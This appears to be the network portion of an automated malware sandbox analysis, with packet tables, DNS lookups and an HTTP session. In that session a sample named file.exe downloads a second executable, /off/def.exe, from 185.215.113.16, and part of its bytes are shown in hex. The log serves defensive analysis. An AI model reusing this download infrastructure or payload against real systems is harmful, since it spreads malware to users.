Dec 9, 2024 21:19:42.792551994 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.792650938 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.793512106 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.793550014 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.793651104 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.794581890 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.794595003 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.794639111 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.795588970 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.795753002 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.795761108 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.796596050 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.796613932 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.796641111 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.797705889 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.797719002 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.797780037 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.797976017 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.797987938 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.798085928 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.798372030 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.798425913 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.798718929 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.799454927 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.799510956 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.799524069 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.800391912 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.800468922 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.800487041 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.801397085 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.801455021 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.801533937 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.802470922 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.802495003 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.802525997 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.803508997 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.803587914 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.803601027 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.804541111 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.804600954 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.804610014 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.805556059 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.805598974 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.805641890 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.806576967 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.806621075 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.806759119 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.807641983 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.807689905 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.807713985 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.808674097 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.808757067 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.808774948 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.809686899 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.809747934 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.809782028 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.810733080 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.810775995 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.810779095 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.811747074 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.811791897 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.811872005 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.812797070 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.812844038 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.813020945 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.813781977 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.813826084 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.813895941 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.814798117 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.814841032 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.814887047 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.815810919 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.815870047 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:42.816006899 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.816848040 CET	80	49751	185.215.113.16	192.168.2.7
Dec 9, 2024 21:19:42.816930056 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:53.441030979 CET	49765	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.441067934 CET	443	49765	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:53.441138029 CET	49765	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.441461086 CET	49765	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.441471100 CET	443	49765	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:53.678885937 CET	49751	80	192.168.2.7	185.215.113.16
Dec 9, 2024 21:19:53.705100060 CET	443	49765	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:53.705769062 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.705795050 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:53.705905914 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.710994005 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:53.711007118 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.401746035 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.402057886 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:55.402092934 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.403142929 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.403203011 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:55.404350042 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:55.404417038 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.457182884 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:19:55.457216024 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:19:55.504842043 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:05.105812073 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:05.105878115 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:05.108194113 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:05.477283955 CET	49766	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:05.477299929 CET	443	49766	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:16.297640085 CET	443	49746	104.98.116.138	192.168.2.7
Dec 9, 2024 21:20:16.297763109 CET	49746	443	192.168.2.7	104.98.116.138
Dec 9, 2024 21:20:53.516518116 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:53.516542912 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:53.516624928 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:53.516922951 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:53.516933918 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:55.213902950 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:55.216617107 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:55.216638088 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:55.216923952 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:55.217374086 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:20:55.217430115 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:20:55.269459009 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:21:04.908739090 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:21:04.908807039 CET	443	49844	142.250.181.68	192.168.2.7
Dec 9, 2024 21:21:04.908919096 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:21:05.491498947 CET	49844	443	192.168.2.7	142.250.181.68
Dec 9, 2024 21:21:05.491533041 CET	443	49844	142.250.181.68	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 21:19:17.988559961 CET	53627	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:19:18.128849983 CET	53	53627	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:19.489443064 CET	123	123	192.168.2.7	40.81.94.65
Dec 9, 2024 21:19:20.057507992 CET	123	123	40.81.94.65	192.168.2.7
Dec 9, 2024 21:19:49.214839935 CET	53	65155	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:49.261388063 CET	53	63895	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:52.032263041 CET	53	60048	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:53.302575111 CET	63963	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:19:53.303081989 CET	61659	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:19:53.439394951 CET	53	63963	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:53.439730883 CET	53	61659	1.1.1.1	192.168.2.7
Dec 9, 2024 21:19:56.300120115 CET	62139	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:19:56.300276995 CET	53156	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:20:00.080209017 CET	51685	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:20:00.080543041 CET	52764	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:20:03.173022985 CET	49386	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:20:03.173288107 CET	52109	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:20:04.136588097 CET	53	50946	1.1.1.1	192.168.2.7
Dec 9, 2024 21:20:09.236871958 CET	53	64279	1.1.1.1	192.168.2.7
Dec 9, 2024 21:20:13.256725073 CET	138	138	192.168.2.7	192.168.2.255
Dec 9, 2024 21:20:28.295456886 CET	53	58689	1.1.1.1	192.168.2.7
Dec 9, 2024 21:20:48.708873034 CET	53	49994	1.1.1.1	192.168.2.7
Dec 9, 2024 21:20:51.451966047 CET	53	63365	1.1.1.1	192.168.2.7
Dec 9, 2024 21:21:00.083729029 CET	55225	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:21:00.083918095 CET	50014	53	192.168.2.7	1.1.1.1
Dec 9, 2024 21:21:21.376378059 CET	53	56791	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 9, 2024 21:19:56.833657026 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Dec 9, 2024 21:20:06.405793905 CET	192.168.2.7	1.1.1.1	c267	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 21:19:17.988559961 CET	192.168.2.7	1.1.1.1	0xebd	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:53.302575111 CET	192.168.2.7	1.1.1.1	0x7878	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:53.303081989 CET	192.168.2.7	1.1.1.1	0xb2d1	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 21:19:56.300120115 CET	192.168.2.7	1.1.1.1	0x137a	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:56.300276995 CET	192.168.2.7	1.1.1.1	0x85e3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 9, 2024 21:20:00.080209017 CET	192.168.2.7	1.1.1.1	0xf02b	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:20:00.080543041 CET	192.168.2.7	1.1.1.1	0x4b2f	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 9, 2024 21:20:03.173022985 CET	192.168.2.7	1.1.1.1	0x524c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:20:03.173288107 CET	192.168.2.7	1.1.1.1	0x24ee	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 9, 2024 21:21:00.083729029 CET	192.168.2.7	1.1.1.1	0xbd3e	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:21:00.083918095 CET	192.168.2.7	1.1.1.1	0xf075	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:18.128849983 CET	1.1.1.1	192.168.2.7	0xebd	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:53.439394951 CET	1.1.1.1	192.168.2.7	0x7878	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:53.439730883 CET	1.1.1.1	192.168.2.7	0xb2d1	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 21:19:56.566291094 CET	1.1.1.1	192.168.2.7	0x137a	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.566291094 CET	1.1.1.1	192.168.2.7	0x137a	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.566291094 CET	1.1.1.1	192.168.2.7	0x137a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.566291094 CET	1.1.1.1	192.168.2.7	0x137a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:56.748846054 CET	1.1.1.1	192.168.2.7	0x9987	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.833446980 CET	1.1.1.1	192.168.2.7	0x85e3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.833446980 CET	1.1.1.1	192.168.2.7	0x85e3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.891644955 CET	1.1.1.1	192.168.2.7	0x7b87	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.891644955 CET	1.1.1.1	192.168.2.7	0x7b87	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:56.891644955 CET	1.1.1.1	192.168.2.7	0x7b87	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:59.537544012 CET	1.1.1.1	192.168.2.7	0xa22c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:59.537544012 CET	1.1.1.1	192.168.2.7	0xa22c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:19:59.537544012 CET	1.1.1.1	192.168.2.7	0xa22c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:19:59.539850950 CET	1.1.1.1	192.168.2.7	0xc0aa	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:00.311933994 CET	1.1.1.1	192.168.2.7	0x4b2f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:00.325217962 CET	1.1.1.1	192.168.2.7	0xf02b	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.310765982 CET	1.1.1.1	192.168.2.7	0x24ee	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.310765982 CET	1.1.1.1	192.168.2.7	0x24ee	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.312278986 CET	1.1.1.1	192.168.2.7	0x524c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.312278986 CET	1.1.1.1	192.168.2.7	0x524c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.312278986 CET	1.1.1.1	192.168.2.7	0x524c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:03.312278986 CET	1.1.1.1	192.168.2.7	0x524c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 21:20:06.319534063 CET	1.1.1.1	192.168.2.7	0x8c3a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:06.405723095 CET	1.1.1.1	192.168.2.7	0x1dac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:13.288341045 CET	1.1.1.1	192.168.2.7	0xeaac	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:20:13.289561033 CET	1.1.1.1	192.168.2.7	0xfc0a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:21:00.223741055 CET	1.1.1.1	192.168.2.7	0xf075	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 21:21:00.323307991 CET	1.1.1.1	192.168.2.7	0xbd3e	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49751	185.215.113.16	80	7536	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:19:36.899498940 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 9, 2024 21:19:38.232748985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:19:37 GMT Content-Type: application/octet-stream Content-Length: 2793472 Last-Modified: Mon, 09 Dec 2024 20:04:27 GMT Connection: keep-alive ETag: "67574d4b-2aa000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 47 78 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ @+Gx+`Ui` @ @.rsrc`2@.idata 8@ixnajgom@>:@seyuqqyf x@.taggant@+"~*@
Dec 9, 2024 21:19:38.232852936 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233227968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233310938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233320951 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233567953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233659029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.233668089 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.234576941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 9, 2024 21:19:38.234606981 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
